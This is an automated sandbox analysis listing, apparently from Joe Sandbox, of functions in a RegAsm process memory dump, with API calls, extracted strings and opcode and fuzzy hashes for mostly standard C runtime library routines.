Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: !kcc$7$>
API String ID: 0-3074482854
Opcode ID: 2b5fbae846e6b882510e2fbdcbedb4cebdfc67a6d32223e23bb3a6a477298b1d
Instruction ID: f2c1190bf628174e0b8494856a221791243f40df1bf0739b92ca06cf2500e287
Opcode Fuzzy Hash: 2b5fbae846e6b882510e2fbdcbedb4cebdfc67a6d32223e23bb3a6a477298b1d
Instruction Fuzzy Hash: 0FF14774D08258DFDB14CFA8C890BEEBBB2BF49304F1485A9D845AB386D7359A45CF60

Function 0055C542 Relevance: 10.8, APIs: 7, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0055C5C8

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b501d2c7370edef203163ff81c70609bda1541bad6eb2f2a19bbb8d7a0515697
Instruction ID: 4b3a813b5a06877c58dcfe8737672801fa75fb5513d7d83a22117f8b55d6c059
Opcode Fuzzy Hash: b501d2c7370edef203163ff81c70609bda1541bad6eb2f2a19bbb8d7a0515697
Instruction Fuzzy Hash: 46B166729003569FDB118F68CCA1BAE7FA5FF59311F14416BEC04AB282D374A909CBA0

Function 00418CD0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 00418D95
_memcpy_s.LIBCPMTD ref: 00418DCE
_memcpy_s.LIBCPMTD ref: 00418E79
_memcpy_s.LIBCPMTD ref: 00418EB2

Strings

Info, xrefs: 00418DF1
Salt, xrefs: 00418D10

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: Info$Salt
API String ID: 2001391462-2052181562
Opcode ID: 27662407f3983c57bcd943935eaade7a694c285b4752269c105cadb372e69d59
Instruction ID: c264f8babf55e3121e48eae263ef24839df939fa8e29ab3a41309e630623033c
Opcode Fuzzy Hash: 27662407f3983c57bcd943935eaade7a694c285b4752269c105cadb372e69d59
Instruction Fuzzy Hash: 1991C8B5E002089BCF18DF95D891AEEBBB5BF48700F20815EE519B7391DB34A941CF64

Function 00567F4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00567F9B
TypeidsEqual.LIBVCRUNTIME ref: 00567FC0
PMDtoOffset.LIBCMT ref: 00567FD6
PMDtoOffset.LIBCMT ref: 00568057

Strings

.?AVAuthenticatedSymmetricCipher@CryptoPP@@, xrefs: 00568053
GFR, xrefs: 0056809F

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EqualOffsetTypeids
String ID: .?AVAuthenticatedSymmetricCipher@CryptoPP@@$GFR
API String ID: 1707706676-3501019232
Opcode ID: 2ca317564d3a52bdce74212441e3e6b18e266408b0b4746ca7a4d4689c7ceabc
Instruction ID: 237532be5bc9907125e5ba52e1baeeb82f58b12d2d74f75c88d8f122806f0c2f
Opcode Fuzzy Hash: 2ca317564d3a52bdce74212441e3e6b18e266408b0b4746ca7a4d4689c7ceabc
Instruction Fuzzy Hash: 3C418B3590420A9FDF10CF69C484ABEFFF5FF55320F140A8AE851A7242DB72AD888B50

Function 00541890 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 005418C7
___except_validate_context_record.LIBVCRUNTIME ref: 005418CF
_ValidateLocalCookies.LIBCMT ref: 00541958
__IsNonwritableInCurrentImage.LIBCMT ref: 00541983
_ValidateLocalCookies.LIBCMT ref: 005419D8

Strings

csm, xrefs: 0054196D

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 110b47976e1d10d38dfd4db43b11047d92a6246b0af650e048ba74ff639c7a7a
Instruction ID: c01778ba82ea60546993ca0d1c2a55798089c4d6e1315a3adf6735b2335c7a7c
Opcode Fuzzy Hash: 110b47976e1d10d38dfd4db43b11047d92a6246b0af650e048ba74ff639c7a7a
Instruction Fuzzy Hash: C541C234A00609ABCF10DF68C894AEEBFB5FF44318F148455E819AB392D731AD55CB96

Function 00418600 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00418612
int.LIBCPMTD ref: 00418624

Part of subcall function 0040E500: std::_Lockit::_Lockit.LIBCPMT ref: 0040E516
Part of subcall function 0040E500: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E540

Concurrency::cancel_current_task.LIBCPMTD ref: 0041866B
std::_Lockit::~_Lockit.LIBCPMT ref: 004186E1

Strings

09, xrefs: 004186A8

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID: 09
API String ID: 3053331623-2652050027
Opcode ID: 9672d1f45f670f1c50b108369d54886ec0b2897f3ad33e54f2f10838c323e1d0
Instruction ID: 4058bd9330fe60eb20dd16c63b3940ce9fa0251ba4d91dce1fad3829abe45064
Opcode Fuzzy Hash: 9672d1f45f670f1c50b108369d54886ec0b2897f3ad33e54f2f10838c323e1d0
Instruction Fuzzy Hash: BB31E6B5D00209DFCB04DF95D485AEEBBB1BF48304F10866AE815B7390DB346A45CF95

Function 0055BA02 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,0041C3C8,?,06EF857F,?,0055BB11,0041C3C8,0053F148,00000000,0041C3C8), ref: 0055BAC3

Strings

api-ms-, xrefs: 0055BA59
ext-ms-, xrefs: 0055BA6D

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 6da345fa8a36e3ad02dd23f6b3a9604d0fb99d3302131f6fbe967117a2a2ca68
Instruction ID: d7b2b6d89d18839777c02e1ffa4c33951cf6007f48f690345e0b38d025a7f623
Opcode Fuzzy Hash: 6da345fa8a36e3ad02dd23f6b3a9604d0fb99d3302131f6fbe967117a2a2ca68
Instruction Fuzzy Hash: 47218C31A01215EBEB318B64DC69A6A3F68FF52361F250312FD06A32D1D730ED08D6E0

Function 00540EA5 Relevance: 9.2, APIs: 6, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00540EEE
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00540F59
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00540F76
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00540FB5
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00541014
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00541037

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: d9344d62ee9e8cc3e68d3e5466f9049812bab2b5aa992042d3ed69a1a6994b1b
Instruction ID: 74055a47f2ef25a0d3789b73c78e1eae228153e2555bd48ca584e8215c0fda88
Opcode Fuzzy Hash: d9344d62ee9e8cc3e68d3e5466f9049812bab2b5aa992042d3ed69a1a6994b1b
Instruction Fuzzy Hash: 8551AD7290024AABEB209F64CC49FEB7FA9FB44758F204429FA19A6190D774DC94DB90

Function 00548EDA Relevance: 9.1, APIs: 6, Instructions: 94COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0054A3B6: Replicator::operator[].LIBCMT ref: 0054A3F3

DName::operator=.LIBVCRUNTIME ref: 00548F86

Part of subcall function 00548B1C: DName::operator+.LIBCMT ref: 00548B87
Part of subcall function 00548B1C: DName::operator+.LIBCMT ref: 00548E51

DName::operator+.LIBCMT ref: 00548F40
DName::operator+.LIBCMT ref: 00548F4C
DName::DName.LIBVCRUNTIME ref: 00548F90
DName::operator+.LIBCMT ref: 00548FAD
DName::operator+.LIBCMT ref: 00548FB9

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=Replicator::operator[]
String ID:
API String ID: 955152517-0
Opcode ID: 3ee8b678452ec057aff4b15b5ee7c584afc21750f8f591439f6c5ce141db5644
Instruction ID: 56cf68b54abbed272ba392c40a9abc851440c348acf1afa51471d82d3eb6aebe
Opcode Fuzzy Hash: 3ee8b678452ec057aff4b15b5ee7c584afc21750f8f591439f6c5ce141db5644
Instruction Fuzzy Hash: 6931B0B1A01204AFCB18DFA4C855AEEBFF5FF99308F14845DE986A7391DB349909CB50

Function 005499DA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getSignedDimension.LIBCMT ref: 00549A2B

Strings

`template-parameter, xrefs: 00549A95
void, xrefs: 005499FB

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Decorator::getDimensionSigned
String ID: `template-parameter$void
API String ID: 2996861206-4057429177
Opcode ID: d9003b0738dfc0b98cabf0bc99c096d38cf0eb10d01963fba2e54d264aef1ecd
Instruction ID: 1ff2c9288df2701a3f4c2a156cb538138f02c1ff24036fd25a131106ed2e1214
Opcode Fuzzy Hash: d9003b0738dfc0b98cabf0bc99c096d38cf0eb10d01963fba2e54d264aef1ecd
Instruction Fuzzy Hash: AC31747190420A9FDF04DBE5D85ABEFBBF8BB58308F104429EA01F7180DB745A098B61

Function 00550778 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,06EF857F,?,?,00000000,0056B610,000000FF,?,00550754,?,?,00550728,00000000), ref: 005507AD
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 005507BF
FreeLibrary.KERNEL32(00000000,?,00000000,0056B610,000000FF,?,00550754,?,?,00550728,00000000), ref: 005507E1

Strings

mscoree.dll, xrefs: 005507A6
CorExitProcess, xrefs: 005507B7

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 19f9a65456002fc682f4c32d7e4b307236bc6598ed98688315969cba37950591
Instruction ID: cd82f1019cd48f6fe727b34836e5d6f02a50c0e5fdf12e5ed7b43a6a297498be
Opcode Fuzzy Hash: 19f9a65456002fc682f4c32d7e4b307236bc6598ed98688315969cba37950591
Instruction Fuzzy Hash: DD016236A54659EFDB118F54DC49BBEBFB8FB05B11F000626F811A36D0DBB4A904CB90

Function 0051C900 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 109COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000010), ref: 0051C923

Strings

OS_Rng: , xrefs: 0051C953
P@, xrefs: 0051C9F9
operation failed with error , xrefs: 0051C974
`P, xrefs: 0051CA69

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast
String ID: operation failed with error $OS_Rng: $P@$`P
API String ID: 1452528299-475163949
Opcode ID: c5e0bd2a099973aa589ae9e4c0454b3c914d4ad53566a580bc50453f30d9e2de
Instruction ID: 2c753b8109e978f12774cc0c4f1e64f19663edbec64e8687a93f6d74699147f3
Opcode Fuzzy Hash: c5e0bd2a099973aa589ae9e4c0454b3c914d4ad53566a580bc50453f30d9e2de
Instruction Fuzzy Hash: FD5105B1D00248EFCB05DFA9D951BEEBBB4BF48304F2085ADE419A7381DB745A44CBA5

Function 00546B0C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005443C3: pDNameNode::pDNameNode.LIBCMT ref: 005443E9

DName::DName.LIBVCRUNTIME ref: 00546BCB
DName::operator+.LIBCMT ref: 00546BD9

Strings

void , xrefs: 00546B74
void, xrefs: 00546B5C

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Name$Name::Name::operator+NodeNode::p
String ID: void$void
API String ID: 3257498322-3746155364
Opcode ID: e6938d89f6235a91674158057764b790ed661707474b7a1337765f99360457c9
Instruction ID: 2308b99564a9be99888fcf2aee26ce4220d2bd31b0824f5feef1edf6dd3f81c0
Opcode Fuzzy Hash: e6938d89f6235a91674158057764b790ed661707474b7a1337765f99360457c9
Instruction Fuzzy Hash: 35212CB5900209AFDB04DF90C856AFE7FB8FB05308F50846AE911A7251EB745A49DF91

Function 00558D21 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(06EF857F,00000000,00000000,00000000), ref: 00558D84

Part of subcall function 0055C2C2: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0055E224,?,00000000,-00000008), ref: 0055C323

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00558FD6
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0055901C
GetLastError.KERNEL32 ref: 005590BF

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 887e21f1c6b1203ddeb0f0c7fdad7a075126d69414ae3dc15b877fb18904ec55
Instruction ID: 74b24fbe9526bd32bc3592a6752e3a4b4742ad7c93ac5f0f2b8d3ad51c3d4a8b
Opcode Fuzzy Hash: 887e21f1c6b1203ddeb0f0c7fdad7a075126d69414ae3dc15b877fb18904ec55
Instruction Fuzzy Hash: 80D18975D00248DFCF14CFA8D8989ADBFB5FF48314F28492AE856EB391D630A949CB50

Function 00546BE3 Relevance: 6.2, APIs: 4, Instructions: 192COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00546BEA
UnDecorator::getSymbolName.LIBCMT ref: 00546C7C
DName::operator+.LIBCMT ref: 00546D80
DName::DName.LIBVCRUNTIME ref: 00546E23

Part of subcall function 0054479A: shared_ptr.LIBCMT ref: 005447B6

Part of subcall function 00544999: DName::DName.LIBVCRUNTIME ref: 005449E7

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Name$Name::$Decorator::getH_prolog3Name::operator+Symbolshared_ptr
String ID:
API String ID: 1134295639-0
Opcode ID: fefd6815f0ceeaf52c2e3899efdafa7559f50fd80b1b97d2ead3ab4a0c07dcd0
Instruction ID: cc7efb95356724023017f005bcdb20b6c8ea5c04f91dae042dcf7094cabf6471
Opcode Fuzzy Hash: fefd6815f0ceeaf52c2e3899efdafa7559f50fd80b1b97d2ead3ab4a0c07dcd0
Instruction Fuzzy Hash: 857168B5D0020A8FDB05DFA4D885BEEBFB8FB0A318F14102AE941BB251D7349D45DBA1

Function 0054725E Relevance: 6.2, APIs: 4, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00547393

Part of subcall function 005444D6: __aulldvrm.LIBCMT ref: 00544507

DName::operator+.LIBCMT ref: 005472F4
DName::operator=.LIBVCRUNTIME ref: 005473D8
DName::DName.LIBVCRUNTIME ref: 0054740A

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=__aulldvrm
String ID:
API String ID: 2973644308-0
Opcode ID: f4444eaf7763c802097a8397af2d1f0ade538ddce2eb77752bb67c3603717b8d
Instruction ID: f32b1a236197b79f4d5788cb65165ac054b1cfb58c07dcaa549ac07dea212c15
Opcode Fuzzy Hash: f4444eaf7763c802097a8397af2d1f0ade538ddce2eb77752bb67c3603717b8d
Instruction Fuzzy Hash: A961A074904219DFCB05CF54D885AEEBFB4FB4E308F10846AEA41AB351D7709A41EF90

Function 0040BFA0 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0040BFDA
__aulldiv.LIBCMT ref: 0040C000
__aulldiv.LIBCMT ref: 0040C028
__aulldiv.LIBCMT ref: 0040C048

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: c96fd6c0922ae4d1cebc49c5b9f2261ec4393020d70facb768c5a109474e0d09
Instruction ID: ac719fdfdad6157ea01665718ded9ed6e1e1d16cae0001c2b26690785d9bb20b
Opcode Fuzzy Hash: c96fd6c0922ae4d1cebc49c5b9f2261ec4393020d70facb768c5a109474e0d09
Instruction Fuzzy Hash: 86213EB5610309ABEB10DF14CC86F6E3BA5FB88704F24C598F8189F385D674E9119B98

Function 00540AF7 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000400,?,?,?,004F4EF7,00000000,00000000,?,?,?,004F4EF7,?,?,?,00000000), ref: 00540B14
GetLastError.KERNEL32(?,?,?,004F4EF7,?,?,?,00000000,00000000), ref: 00540B20
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,004F4EF7,00000000,00000000,?,?,?,004F4EF7,?,?,?,00000000), ref: 00540B46
GetLastError.KERNEL32(?,?,?,004F4EF7,?,?,?,00000000,00000000), ref: 00540B52

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 9d15dc997c8cb139624ddcd69354d736c771ef8327062e0090a6e7e09d49c481
Instruction ID: 3304e17df06ddc6535956fddf92313a65829532aa4ec7add22439ccb556ec7f7
Opcode Fuzzy Hash: 9d15dc997c8cb139624ddcd69354d736c771ef8327062e0090a6e7e09d49c481
Instruction Fuzzy Hash: 79011D36600159FB8F221F95DC08D9F3F2AFBD97A8B108014FF1596260D632C822EBA4

Function 00565FDB Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,005625F8,00000000,00000001,0000000C,00000000,?,00559113,00000000,00000000,00000000), ref: 00565FF2
GetLastError.KERNEL32(?,005625F8,00000000,00000001,0000000C,00000000,?,00559113,00000000,00000000,00000000,00000000,00000000,?,005596ED,?), ref: 00565FFE

Part of subcall function 00565FC3: CloseHandle.KERNEL32(FFFFFFFE,0056600E,?,005625F8,00000000,00000001,0000000C,00000000,?,00559113,00000000,00000000,00000000,00000000,00000000), ref: 00565FD3

___initconout.LIBCMT ref: 0056600E

Part of subcall function 00565F85: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00565FB4,005625E5,00000000,?,00559113,00000000,00000000,00000000,00000000), ref: 00565F98

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,005625F8,00000000,00000001,0000000C,00000000,?,00559113,00000000,00000000,00000000,00000000), ref: 00566023

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 06645129e8712ba5b015d431cef9ee5e8d4077c7276e506722df72189d1d39e9
Instruction ID: 456c0f6d5e81965ac4e5ed94fe64d852e8cbc11d6aaa329a16bfaff598facafb
Opcode Fuzzy Hash: 06645129e8712ba5b015d431cef9ee5e8d4077c7276e506722df72189d1d39e9
Instruction Fuzzy Hash: 87F0F236500119BBCF222FA5AC0CA9A3F6AFF593B1F014120FA1996170D7328820AB90

Function 00440980 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 369COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00440E92

Strings

`XA, xrefs: 00440E7F
`@, xrefs: 00440E88

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 8ac7e2abde66639b924edf8881657cdfc0617853fada02d931c94b2a91e82389
Instruction ID: 551e2a0d40af65826b25aa3905f136d4551bfeeb0cf95294c90f4f60ee9ea3a8
Opcode Fuzzy Hash: 8ac7e2abde66639b924edf8881657cdfc0617853fada02d931c94b2a91e82389
Instruction Fuzzy Hash: 34F11CB5C1015C9BCB18EB95DC91AEEB7B8BF58304F00419EE50AA7251EF346B88CF64

Function 0055576A Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 291COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 005558E1

Strings

-, xrefs: 00555832
+, xrefs: 0055583F

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: +$-
API String ID: 3732870572-2137968064
Opcode ID: 42be82a0d715f89fe9c263ef6fdc2c7c48359c720eae3b976bdbf10dfe376f7b
Instruction ID: 852a8e63c6f938edba4ac2584af03d5e27634c30993aeac5fdc304c94a396fbc
Opcode Fuzzy Hash: 42be82a0d715f89fe9c263ef6fdc2c7c48359c720eae3b976bdbf10dfe376f7b
Instruction Fuzzy Hash: C0A1C130900659EFCF14CE68C8706EE7FB1FF55326F24855BECA5AB291E2349909CB50

Function 00417CB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00417D4B
std::ios_base::clear.LIBCPMTD ref: 00417F39

Part of subcall function 00417740: std::ios_base::clear.LIBCPMTD ref: 00417871

Strings

c[A, xrefs: 00417D7B

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID: c[A
API String ID: 1443086396-3980679666
Opcode ID: 265ec16d79a9730ddc0658d3851a9637dbb7f636c446bd01da883b6dcca2ee11
Instruction ID: 714f950f2e0a2fee4558f5a8e01253c019b56414ab62312a3f997ce67dafd707
Opcode Fuzzy Hash: 265ec16d79a9730ddc0658d3851a9637dbb7f636c446bd01da883b6dcca2ee11
Instruction Fuzzy Hash: B991D4B4E08249CFDB14CF95C495AEEFBB1BF48314F24815AD9166B391C738A982CF94

Function 005492E7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 00549342
DName::DName.LIBVCRUNTIME ref: 0054948D

Strings

..., xrefs: 00549444

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Replicator::operator[]
String ID: ...
API String ID: 3707554701-440645147
Opcode ID: 0c57556bc4c9143f907d4bac13895a8b0423cc9599b77bf606ae37bd97e623df
Instruction ID: 3be05b7c10184c63bbce197b44a3c677db1e32ddce70f6995be1366b9844f5c4
Opcode Fuzzy Hash: 0c57556bc4c9143f907d4bac13895a8b0423cc9599b77bf606ae37bd97e623df
Instruction Fuzzy Hash: 3351E2719042459FCB14CF68C48A6EFBFF4FB5A308F14846ED541A7291C7359909CB50

Function 0041A590 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 0041A637

Strings

HHA, xrefs: 0041A5A6
HHA, xrefs: 0041A627, 0041A62F, 0041A62A, 0041A632

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: HHA$HHA
API String ID: 2001391462-78794114
Opcode ID: 09f476200842bfde3c5efd4d3d2b8a8cc0dee9e98f7f9ba6d1c85301d6ad01a4
Instruction ID: fb5d5ebcabb0e45fa91b657c15233206f3b0c1f0c417229facf00de632e03b98
Opcode Fuzzy Hash: 09f476200842bfde3c5efd4d3d2b8a8cc0dee9e98f7f9ba6d1c85301d6ad01a4
Instruction Fuzzy Hash: 37514BB5D01209EBDF04DF94D845AEF77B5BF84304F14842AE81697382E738DAA1CB66

Function 0041FDE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCONCRTD ref: 0041FF7F

Strings

parse error, xrefs: 0041FE63, 0041FE92
parse_error, xrefs: 0041FE0D, 0041FE3C

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: std::exception::exception
String ID: parse error$parse_error
API String ID: 2807920213-1820534363
Opcode ID: b14d5a470bf126e08e0d1a244f28b9210aaf9b24426e5c5414b8cee14196e28c
Instruction ID: 247bcd9d290005d9ecab5a054924ce7d3c4838f0395c5dd170b971a68b24d42d
Opcode Fuzzy Hash: b14d5a470bf126e08e0d1a244f28b9210aaf9b24426e5c5414b8cee14196e28c
Instruction Fuzzy Hash: 9451EE75D00248AFCB04DF95D891ADEBBB5BF48304F10C19EE90A6B351DB746A85CF94

Function 005489D4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00548AD4
